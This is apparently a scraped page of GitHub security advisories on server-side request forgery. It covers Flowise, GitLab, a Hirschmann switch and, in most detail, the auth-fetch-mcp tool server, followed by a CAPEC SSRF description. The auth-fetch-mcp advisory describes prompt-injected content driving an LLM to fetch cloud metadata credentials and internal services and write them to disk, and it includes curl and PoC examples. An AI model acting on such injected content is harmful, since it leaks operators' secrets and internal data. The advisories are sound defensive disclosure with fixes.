  "details": "### Summary\n---\n\nA Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.\n\n\n### Details\n---\n\n#### Vulnerability Overview\n\nThe `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.\n\nThe issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks.\n\n#### Root Cause\n\nThe `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.\n\n\n### Taint Flow\n\n#### \u2022 Taint 01: Route Registration\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24\n\n#### \u2022 Taint 02: Service\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18\n\n#### \u2022 Taint 03: xmlScrape\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478\n\n\n### PoC\n---\n\n#### PoC Description\n\nThis vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token:\n\n```\ntmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\n```\n\nUpon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:\n\n- `/api/users` (User Management)\n- `/api/secrets` (API Keys)\n- `/api/database` (Database Config)\n\nThis demonstrated that an attacker could enumerate internal web service structures.\n\n#### Internal Admin Server (Mock)\n\n```python\nfrom flask import Flask, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef admin():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eInternal Admin Panel\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users\"\u003eUser Management\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets\"\u003eAPI Keys\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/database\"\u003eDatabase Config\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/logs\"\u003eSystem Logs\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \"\"\")\n\n@app.route(\u0027/api/users\u0027)\ndef users():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eUsers\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/admin\"\u003eadmin (root)\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/operator\"\u003eoperator\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\n@app.route(\u0027/api/secrets\u0027)\ndef secrets():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eSecrets\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/db_key\"\u003eDB Key: sk-1234567890abcdef\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/aws_key\"\u003eAWS Key: AKIAIOSFODNN7EXAMPLE\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u0027127.0.0.1\u0027, port=8080)\n```\n\n#### curl Request Example\n\n```bash\ncurl -G \u0027http://localhost:3000/api/v1/fetch-links\u0027 \\\n     --data-urlencode \u0027url=http://127.0.0.1:8080/\u0027 \\\n     --data-urlencode \u0027relativeLinksMethod=webCrawl\u0027 \\\n     --data-urlencode \u0027limit=10\u0027 \\\n     -H \u0027Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\u0027 \\\n     -s | jq \u0027.\u0027\n```\n\u003cimg width=\"1914\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3\" /\u003e\n\n\n### Impact\n---\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability.\n\n- **Who is impacted?** Any user running Flowise server exposed to external traffic.\n- **Risk:** Attackers can leverage the Flowise server to:\n  - Explore internal web applications\n  - Bypass firewall rules\n  - Access sensitive administrative interfaces\n  - Leak internal configuration, credentials, or secrets\n\nThis vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.",
  "id": "GHSA-hr92-4q35-4j3m",
  "modified": "2025-09-22T21:58:31Z",
  "published": "2025-09-15T19:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-HRRX-P8R8-GJ4G

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-03-01 18:31
VLAI
Details

GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-19571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-10T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.",
  "id": "GHSA-hrrx-p8r8-gj4g",
  "modified": "2023-03-01T18:31:02Z",
  "published": "2022-05-24T16:49:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19571"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/53242"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160516/GitLab-11.4.7-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160699/GitLab-11.4.7-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV3Q-723P-3RJQ

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-30T03:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.",
  "id": "GHSA-hv3q-723p-3rjq",
  "modified": "2022-05-13T01:36:35Z",
  "published": "2022-05-13T01:36:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6036"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-026-02A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV85-774V-26FG

Vulnerability from github – Published: 2026-05-19 15:47 – Updated: 2026-05-19 15:47
VLAI
Summary
auth-fetch-mcp: SSRF and disk exfiltration via unvalidated auth_fetch and download_media URLs
Details

SSRF + disk-exfil in download_media and auth_fetch tools — ymw0407/auth-fetch-mcp

Severity

The download_media and auth_fetch MCP tools accept arbitrary URLs and reach them as the MCP server process, with download_media additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.

Vulnerability chain

Site 1: download_media — SSRF + disk-write chain

src/tools.ts:200-274

server.registerTool("download_media", {
  inputSchema: {
    urls: z.array(z.string()).describe("One or more URLs to download"),
    output_dir: z.string().optional()...,
  },
}, async ({ urls, output_dir }) => {
  ...
  for (const url of urls) {
    try {
      const response = await ctx.request.get(url);   // line 238 — no validation
      ...
      const body = await response.body();
      ...
      const filePath = path.join(dir, `file-${++counter}${ext}`);
      fs.writeFileSync(filePath, body);              // line 257 — writes response to disk

urls and output_dir are user-controlled. The handler iterates each URL (line 236) and calls ctx.request.get(url) (Playwright's APIRequestContext.get) without checking the destination. The response body is written to path.join(output_dir, file-N.ext). Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains localPath and size of every successful write).

Site 2: auth_fetch — SSRF via Playwright navigation

src/tools.ts:117-198

server.registerTool("auth_fetch", {
  inputSchema: {
    url: z.string().describe("The URL to fetch content from"),
    wait_for: z.string().optional()...,
  },
}, async ({ url, wait_for }) => {
  ...
  const page = await navigateTo(ctx, url);           // line 142
  ...
  const result = await extractContent(page);
  return textResult({ status: "ok", url: result.url, title: result.title, content: result.content });
});

src/browser.ts:53-64

export async function navigateTo(ctx: BrowserContext, url: string): Promise<Page> {
  ...
  await page.goto(url, { waitUntil: "domcontentloaded", timeout: 30000 });  // line 63
  return page;
}

url flows directly from the MCP tool argument to page.goto with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via extractContent. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.

Root cause

Neither handler validates URL targets before dispatch. The tool descriptions ("fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page") frame the intended usage as public SaaS web pages, not loopback or link-local hosts — but no code enforces that intent.

The fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., Akitaroh/scraper-mcp src/security/url-guard.ts).

Auth boundary violated

Boundary type: MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.

Respected/violated trace: Per the tool descriptions, the expected respected boundary is "public SaaS web pages." That expectation is violated by any request reaching a host the user didn't intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).

Impact

  1. Cloud credential theft — server on EC2 / GCE / Azure VM. MCP client invokes auth_fetch({ url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" }) and receives temporary credentials in the tool response. Or invokes download_media({ urls: [...], output_dir: "/tmp/exfil" }) to persist them to disk.

  2. Internal service enumeration — MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each auth_fetch returns the page DOM; each download_media writes the response to disk.

  3. Loopback exploitation — server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via auth_fetch.

  4. Disk-write side channel (download_media only) — output_dir is also user-controlled, with no documented restriction. An MCP client can request output_dir = "/some/user-writable-shared-dir" and exfil internal-service responses to a location accessible to a co-tenant process.

The injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says "MUST be used instead of Fetch/web_fetch when the page requires login" — meaning the model is encouraged to call this tool for any "private page" mention, which a prompt-injected upstream content can trivially trigger.

Proof of concept (non-destructive)

poc.mjs — replicates the download_media handler's HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright's ctx.request.get(url) is replaced with the equivalent fetch(url) for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect — "no host validation before HTTP dispatch" — is identical.

[PoC] fake internal-only service: 127.0.0.1:36105
[PoC] simulating MCP client calling download_media({
        urls: ['http://127.0.0.1:36105/secrets'],
        output_dir: '/tmp/auth-fetch-exfil-aU1jjv'
      })
[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)
[PoC] ✓ SSRF + DISK-EXFIL CONFIRMED
        File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json
        Persisted content (187 bytes):
          {
            "AccessKeyId": "AKIA-FAKE-FROM-POC",
            "SecretAccessKey": "fake-secret-marker-NOT-REAL",
            "Note": "In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/..."
          }

Exit code 0. SHA-256 poc.mjs: 4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568. The PoC only contacts 127.0.0.1 on an ephemeral port; the fake-credentials string contains the literal FAKE marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.

Suggested fix

Add a assertSafeUrl helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch — at tools.ts:236 inside the download_media loop, and at the top of navigateTo in browser.ts:53:

import dns from 'node:dns/promises'
import net from 'node:net'

async function assertSafeUrl(rawUrl: string): Promise<URL> {
  const parsed = new URL(rawUrl)
  if (!['http:', 'https:'].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)
  const host = parsed.hostname
  const addresses = net.isIP(host)
    ? [host]
    : (await dns.lookup(host, { all: true })).map(a => a.address)
  for (const addr of addresses) {
    if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)
  }
  return parsed
}

Where isPrivateOrLinkLocal blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.

For download_media specifically, also constrain output_dir: resolve it under a fixed root (e.g., ~/.auth-fetch-mcp/downloads/) and reject if the resolved path escapes that root.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "auth-fetch-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:47:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# SSRF + disk-exfil in `download_media` and `auth_fetch` tools \u2014 ymw0407/auth-fetch-mcp\n\n## Severity\nThe `download_media` and `auth_fetch` MCP tools accept arbitrary URLs and reach them as the MCP server process, with `download_media` additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.\n\n## Vulnerability chain\n\n### Site 1: `download_media` \u2014 SSRF + disk-write chain\n\n`src/tools.ts:200-274`\n```ts\nserver.registerTool(\"download_media\", {\n  inputSchema: {\n    urls: z.array(z.string()).describe(\"One or more URLs to download\"),\n    output_dir: z.string().optional()...,\n  },\n}, async ({ urls, output_dir }) =\u003e {\n  ...\n  for (const url of urls) {\n    try {\n      const response = await ctx.request.get(url);   // line 238 \u2014 no validation\n      ...\n      const body = await response.body();\n      ...\n      const filePath = path.join(dir, `file-${++counter}${ext}`);\n      fs.writeFileSync(filePath, body);              // line 257 \u2014 writes response to disk\n```\n\n`urls` and `output_dir` are user-controlled. The handler iterates each URL (line 236) and calls `ctx.request.get(url)` (Playwright\u0027s `APIRequestContext.get`) without checking the destination. The response body is written to `path.join(output_dir, file-N.ext)`. Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains `localPath` and `size` of every successful write).\n\n### Site 2: `auth_fetch` \u2014 SSRF via Playwright navigation\n\n`src/tools.ts:117-198`\n```ts\nserver.registerTool(\"auth_fetch\", {\n  inputSchema: {\n    url: z.string().describe(\"The URL to fetch content from\"),\n    wait_for: z.string().optional()...,\n  },\n}, async ({ url, wait_for }) =\u003e {\n  ...\n  const page = await navigateTo(ctx, url);           // line 142\n  ...\n  const result = await extractContent(page);\n  return textResult({ status: \"ok\", url: result.url, title: result.title, content: result.content });\n});\n```\n\n`src/browser.ts:53-64`\n```ts\nexport async function navigateTo(ctx: BrowserContext, url: string): Promise\u003cPage\u003e {\n  ...\n  await page.goto(url, { waitUntil: \"domcontentloaded\", timeout: 30000 });  // line 63\n  return page;\n}\n```\n\n`url` flows directly from the MCP tool argument to `page.goto` with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via `extractContent`. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.\n\n## Root cause\nNeither handler validates URL targets before dispatch. The tool descriptions (\"fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page\") frame the intended usage as **public SaaS web pages**, not loopback or link-local hosts \u2014 but no code enforces that intent.\n\nThe fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., `Akitaroh/scraper-mcp` `src/security/url-guard.ts`).\n\n## Auth boundary violated\n**Boundary type:** MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.\n\n**Respected/violated trace:** Per the tool descriptions, the expected respected boundary is \"public SaaS web pages.\" That expectation is violated by any request reaching a host the user didn\u0027t intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).\n\n## Impact\n\n1. **Cloud credential theft** \u2014 server on EC2 / GCE / Azure VM. MCP client invokes `auth_fetch({ url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\" })` and receives temporary credentials in the tool response. Or invokes `download_media({ urls: [...], output_dir: \"/tmp/exfil\" })` to persist them to disk.\n\n2. **Internal service enumeration** \u2014 MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each `auth_fetch` returns the page DOM; each `download_media` writes the response to disk.\n\n3. **Loopback exploitation** \u2014 server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via `auth_fetch`.\n\n4. **Disk-write side channel** (`download_media` only) \u2014 output_dir is also user-controlled, with no documented restriction. An MCP client can request `output_dir = \"/some/user-writable-shared-dir\"` and exfil internal-service responses to a location accessible to a co-tenant process.\n\nThe injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says \"MUST be used instead of Fetch/web_fetch when the page requires login\" \u2014 meaning the model is encouraged to call this tool for any \"private page\" mention, which a prompt-injected upstream content can trivially trigger.\n\n## Proof of concept (non-destructive)\n\n`poc.mjs` \u2014 replicates the `download_media` handler\u0027s HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright\u0027s `ctx.request.get(url)` is replaced with the equivalent `fetch(url)` for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect \u2014 \"no host validation before HTTP dispatch\" \u2014 is identical.\n\n```\n[PoC] fake internal-only service: 127.0.0.1:36105\n[PoC] simulating MCP client calling download_media({\n        urls: [\u0027http://127.0.0.1:36105/secrets\u0027],\n        output_dir: \u0027/tmp/auth-fetch-exfil-aU1jjv\u0027\n      })\n[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)\n[PoC] \u2713 SSRF + DISK-EXFIL CONFIRMED\n        File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json\n        Persisted content (187 bytes):\n          {\n            \"AccessKeyId\": \"AKIA-FAKE-FROM-POC\",\n            \"SecretAccessKey\": \"fake-secret-marker-NOT-REAL\",\n            \"Note\": \"In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/...\"\n          }\n```\n\nExit code `0`. SHA-256 `poc.mjs`: `4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568`. The PoC only contacts `127.0.0.1` on an ephemeral port; the fake-credentials string contains the literal `FAKE` marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.\n\n## Suggested fix\n\nAdd a `assertSafeUrl` helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch \u2014 at `tools.ts:236` inside the download_media loop, and at the top of `navigateTo` in `browser.ts:53`:\n\n```ts\nimport dns from \u0027node:dns/promises\u0027\nimport net from \u0027node:net\u0027\n\nasync function assertSafeUrl(rawUrl: string): Promise\u003cURL\u003e {\n  const parsed = new URL(rawUrl)\n  if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)\n  const host = parsed.hostname\n  const addresses = net.isIP(host)\n    ? [host]\n    : (await dns.lookup(host, { all: true })).map(a =\u003e a.address)\n  for (const addr of addresses) {\n    if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)\n  }\n  return parsed\n}\n```\n\nWhere `isPrivateOrLinkLocal` blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.\n\nFor `download_media` specifically, also constrain `output_dir`: resolve it under a fixed root (e.g., `~/.auth-fetch-mcp/downloads/`) and reject if the resolved path escapes that root.",
  "id": "GHSA-hv85-774v-26fg",
  "modified": "2026-05-19T15:47:27Z",
  "published": "2026-05-19T15:47:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-hv85-774v-26fg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ymw0407/auth-fetch-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "auth-fetch-mcp: SSRF and disk exfiltration via unvalidated auth_fetch and download_media URLs"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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